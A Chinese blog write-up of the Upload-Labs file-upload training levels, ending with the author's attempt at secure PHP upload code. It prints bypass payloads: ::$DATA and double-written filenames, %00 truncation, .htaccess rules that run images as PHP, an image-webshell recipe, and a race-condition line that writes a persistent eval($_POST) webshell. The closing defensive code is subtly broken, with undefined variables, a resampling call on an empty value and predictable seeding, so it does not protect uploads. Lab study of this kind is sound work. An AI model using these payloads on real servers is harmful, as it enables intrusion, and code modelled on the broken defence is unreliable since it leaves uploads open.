Upload-Lab 过关

很久之前的文件上传Upload-Lab实验记录,权当凑数。

参考文章

图片马的检测与绕过

https://www.jianshu.com/p/744001fd0738

http://www.nowamagic.net/librarys/veda/detail/1618

文件上传绕过总览

https://www.cnblogs.com/linuxsec/articles/12152431.html

image-20200717095509735

image-20200717095703147

pass-01

在console里找到前端验证代码,在burp里把后缀名改回来就好。

image-20200716171248882

image-20200716171741323

pass-02

验证虽然转移到了后端,但是规则却变得简单,只验证content-type,所以直接上传个php然后再burp里把content-type改成白名单里面的类型就好。

image-20200716172253219

pass-03

过滤规则,php的函数需要去查一查,这里用到的是windows+php的一个特性。
当把文件命名为xxx.yyy::$DATAzzz时,windows会把::DATA之后的部分当作文件的数据流,于是文件名被保存为xxx.yyy
虽然这里有对::$DATA的过滤,但是可以被双写绕过。

image-20200716173641821

image-20200716173618738

pass-04

::$DATA

https://blog.0kami.cn/2018/04/15/hitb-xctf-2018-portion-web-writeup/

一开始本来是想::$DATA绕过的,比如filename=shell.php::$DATApng,检查时识别出的扩展名是.phppng,php存储文件时会把文件命名为shell.php::$DATApng,然后由于windows+php的特性,::$DATApng会被丢弃。
但是没有实践成功,这里出现的问题是::$DATA之后添加字符会报错,要么像下面这样被解析为后面的文件名。
image-20200716193252913

.htaccess

https://www.jianshu.com/p/c674904a711e

上传.htaccess文件修改文件的解析规则

1.设置将文件名为shell的文件按php来解析

<FilesMatch "shell">
SetHandler application/x-httpd-php Set</FilesMatch>

2.将jpg文件按照php来解析

AddType application/x-httpd-php .jpg

3.htaccess自解析(未成功,没有htaccess的访问权限)

image-20200716200635567

pass-05

依然双写绕过

image-20200716202858396

pass-06

还能双写::$DATA绕过?!
确实还可以

pass-07

基本上ban掉了所有可以解析的后缀名,但是相对于之前的关卡,没有处理末尾的.,而php会自动忽略末尾的.

image-20200716212245934

image-20200716212132927

pass-08

因为这里又是随机重命名,然后后缀名取得是处理后的字符串,所以又可以回到::$DATA绕过。

image-20200716213324517

pass-09

存储的文件名是上传名去.过后的,但是验证还要过滤掉一个空格,又结合前面忽略最后的.构造payload。(向大佬低头,没想出来)

filename="shell08.php. ."

image-20200716223751307

pass-10

过滤php等关键字,由xss的思路,双写绕过。

filename="shell10.phphpp"

image-20200716224345049

pass-11

虽然我也想到了%00字符截断,但是没有想起来%00会自动转码,而直接在burp里改hex会导致服务器报错。

image-20200716232433594

image-20200716232619081

pass-12

承接pass-11,由于这里save_path是POST过去的,所以需要在burp里面改hex。

image-20200716233256871

pass-13

先上传个图片马上去,因为只会检查文件的前两个字节,所以把前两个字节改成相应文件的格式头就好。
下一步是利用文件包含漏洞,利用upload-labs/include.php来解析刚刚上传的图片马。

image-20200717102154922

虽然刚刚上传的xxx.jpg是个”图片“,但是通过include.php的文件包含include 来解析时会按照php来解析。
[准确来说是按照服务器当前脚本语言来解析,文件包含机制是为了更好地支持代码重用]
虽然文件的内容并不是以<?php开头,但是php会默认丢弃不规范的内容,从<?php开始解析。

于是有payload=/upload-labs/include.php?file=./upload/5120200717095119.jpg

如果php开启了allow_url_include还可以直接在url中用php伪协议直接包含刚刚上传的图片马。

image-20200717103529716

pass-14

cmd>copy image.png/b + shell.php/a shell.png

传是传上去了,也绕过了检测,但是文件包含之后不能解析,老是报错。

image-20200717143714809

破案:大概是图片有点儿大,里面有些神奇字符破坏了php的解析。重新做一个小一点儿图片马就过了。

image-20200717143646731

pass-15

继续用pass-14的图片马,记得现在服务器的PHPstudy里把ph_exif开关打开。

依然不能解析利用。[解决方法同上]

pass-16

二次渲染

pass-17

直接上传shell.php改后缀名,然后文件包含。

pass-18

条件竞争

需要注意的是文件上传之后先以原文件名存储,然后再基于时间随机命名。
在存储之后到重命名之前,刚刚上传的文件是可以被我们主动访问到的(只要我们访问的时间足够巧)。

image-20200717162914017

那么就在这个图片里写个马儿,用这个马儿生成另外一个马儿供长期访问(不被重命名)。
写个python不断请求include.php去解析上传的图片希望能够生成马儿,因为时机稍纵即逝,所以上传图片这边也需要用Burp不断重发(手动还是自动intruder视环境而定)。一旦include.php解析图片成功,那么就可以访问生成的马儿了。

<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["x"])?>');?>

image-20200717162713518

other

利用临时文件。

https://www.cnblogs.com/linuxsec/articles/11278477.html

虽然temp临时文件会在程序结束之后被删除,但是谁说程序总能正常结束呢?
使用文件包含功能不断地自我包含会导致php异常退出来处理错误,于是没有去删除临时文件,可以通过暴力猜测文件名访问到文件。

image-20200718150214528

image-20200718145457471

课后作业:安全文件上传

这里通过两种手段尝试实现文件上传过程中的防御。

白名单+随机重命名

文件的存储路径已经通过预定义的方式被系统控制,然后通过随机重命名控制文件的名称,最后基于白名单严格控制文件的扩展名。
在没有文件包含或者.htaccess解析漏洞的前提下,文件上传是安全的。

重采样+头部元数据检测

在存在文件包含或者.htaccess解析漏洞时,第一个方法可以被图片马绕过。
图片马攻击成功的本质是图片二进制数据包含php语句且该图片以php格式被解析,由于预设已经存在解析漏洞,那么只能在php语句检测上想办法。
利用php-GD扩展的imageCopyResampled()通过像素插值算法修改图片元数据,可以破坏php语句。但是这还不够,因为图片数据中往往存在一部分辅助数据不受重采样的影响,而php语句可以被注入到这些辅助数据块中免于被破环。
于是,可以通过检测辅助数据块的方式检测其中的php语句。辅助数据快往往存在于文件流的头部且长度较小,虽然从格式标准而言辅助数据块可以很长,但是一般情况下是较短的,如果被恶意构造得很长,可以武断地判为恶意图片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
include '../config.php';
include '../head.php';
include '../menu.php';

function random_name(){
$t=time();
$new_name=date("Ymd",$t);
$allchar = "abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ;
srand(mktime());
for( $i=1;$i<=8;$i++){
$new_name.=substr($allchar,rand()%52,1);
}
return $new_name;
}

function getExt($orign_file_name)
{
$ext=strrchr($orign_file_name,'.');
$ext=trim($ext);
$ext=strtolower($ext);
$white_list=array(".jpg",".png",".jpeg",".pdf",".doc",".docx",".md",".txt",".ppt",".pttx",".xls");
if(in_array($ext,$white_list)){
return $ext;
}
else{
return "unknown";
}
}

function reCodeImg($tmpImg)
{//我们在这里针对性地检查图片马,具体使用重采样和固定元数据内容敏感检测结合的方法
//首先重采样,破坏图片内容中的shell语句
$newTmpImg='';
$x=imagesx($tmpImg);
$y=imagesy($tmpImg);
imagecopyresampled($newTmpImg, $tmpImg, 0, 0, 0, 0, $x, $y, $x, $y);
$handler=fopen($newTmpImg,"r");
$metadata=fread($handler,2048);
if(!strrpos($meat,"IDAT") or strripos($metadata, "php")){
return "Error";
}
return $newTmpImg;
}

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
if(!is_uploaded_file($temp_file)){
$msg="上传错误!";
return ;
}
$new_file_name=random_name();
$new_file_ext =getExt($_FILES['upload_file']['name']);
if($new_file_ext=="unknown"){
$msg="未知图片类型,不能上传";
}
else{
if(in_array($new_file_ext, array(".jpg",".png",".jpeg"))){//针对性地检查图片文件
$temp_file=reCodeImg($temp_file);
if($temp_file=="Error"){
$msg="检测到恶意语句";
return ;
}
}
$new_file_path= UPLOAD_PATH . '/' . $new_file_name . $new_file_ext;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
}
}
else{
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>

Welcome to my other publishing channels